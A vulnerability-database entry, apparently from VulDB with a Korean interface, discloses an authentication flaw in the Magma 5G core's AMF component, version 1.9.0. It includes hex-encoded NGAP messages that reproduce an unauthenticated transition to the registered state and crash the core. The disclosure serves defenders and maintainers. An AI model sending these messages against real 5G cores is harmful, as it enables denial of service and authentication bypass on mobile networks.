| 제목 | Linux Foundation Projects Magma 5G 1.9.0 Improper Authentication |
|---|
| 설명 | AMF accepts Registration Complete message after InitialUEMessage and the state is transitioned to REGISTERED_CONNECTED. This attempt to transition crashes the app as well.
To Reproduce
Start Magma Core with 5G support enabled and default configuration
Send the following NGAP messages sequentially
NGSetupRequest:
00 15 00 38 00 00 06 00 1b 00 08 00 00 f1 10 00 00 06 6c 00 52 40 05 01 00 52 41 4e 00 66 00 0d 00 00 00 00 07 00 00 f1 10 00 00 00 08 00 15 40 01 20 00 93 40 01 00 00 cc 40 01 00
InitialUEMessage:
00 0f 40 45 00 00 05 00 55 00 02 00 01 00 26 00 1b 1a 7e 00 41 79 00 0d 01 00 f1 10 00 00 00 00 00 00 00 00 10 2e 02 f0 80 10 01 00 00 79 00 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07 00 5a 40 01 18 00 70 40 01 00
UplinkNASTransport (Registration Complete):
00 2e 40 31 00 00 04 00 0a 00 02 00 16 00 55 00 02 00 01 00 26 00 0b 0a 7e 02 00 00 00 00 00 7e 00 43 00 79 40 0f 40 00 f1 10 00 00 00 00 00 00 f1 10 00 00 07
Impact
Incorrect State transition: Without authentication and security mode establishment, the gmm state is transitioned to REGISTERED.
Denial of Service: MME crashes and can cause denial of service
Authentication bypass: Due to the authentication bypassed, unexpected behavior may occur, no security context is established.
This issue was discovered several months ago. After chatting with the developer we decided to publicly disclose it and they will attempt to fix the issue. |
|---|
| 원천 | ⚠️ https://github.com/magma/magma/issues/16020 |
|---|
| 사용자 | shovon0203 (UID 96191) |
|---|
| 제출 | 2026. 07. 15. AM 06:41 (2 개월 ago) |
|---|
| 모더레이션 | 2026. 08. 29. PM 08:44 (2 months later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 397063 [Linux Foundation Magma 1.9.0 Registration Complete Message tasks/amf/amf_fsm.cpp 약한 인증] |
|---|
| 포인트들 | 20 |
|---|